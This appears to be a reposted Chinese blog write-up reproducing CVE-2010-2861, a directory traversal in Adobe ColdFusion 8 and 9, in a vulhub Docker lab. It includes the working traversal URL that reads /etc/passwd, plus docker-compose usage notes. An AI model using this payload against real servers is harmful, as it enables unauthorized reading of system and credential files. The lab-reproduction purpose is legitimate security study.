本文共 730 字，大约阅读时间需要 2 分钟。

声明

好好学习，天天向上

漏洞描述

Adobe ColdFusion是美国Adobe公司的一款动态Web服务器产品，其运行的CFML（ColdFusion Markup Language）是针对Web应用的一种程序设计语言。

Adobe ColdFusion 8、9版本中存在一处目录穿越漏洞，可导致未授权的用户读取服务器任意文件。

影响范围

Adobe ColdFusion 8、9

复现过程

这里使用8.0.1版本

使用vulhub

/app/vulhub-master/coldfusion/CVE-2010-2861

使用docker启动

docker-compose builddocker-compose up -d

环境启动后，访问

http://192.168.239.129:8500/CFIDE/administrator/enter.cfm

直接访问

http://192.168.239.129:8500/CFIDE/administrator/enter.cfm?locale=../../../../../../../../../../etc/passwd%00en

关闭镜像（每次用完后关闭）

docker-compose down

docker-compose常用命令

拉镜像（进入到vulhub某个具体目录后）

docker-compose builddocker-compose up -d

镜像查询（查到的第一列就是ID值）

docker ps -a

进入指定镜像里面（根据上一条查出的ID进入）

docker exec -it ID /bin/bash

关闭镜像（每次用完后关闭）

docker-compose down

转载地址：https://blog.csdn.net/zy15667076526/article/details/111414303 如侵犯您的版权，请留言回复原文章的地址，我们会给您删除此文章，给您带来不便请您谅解！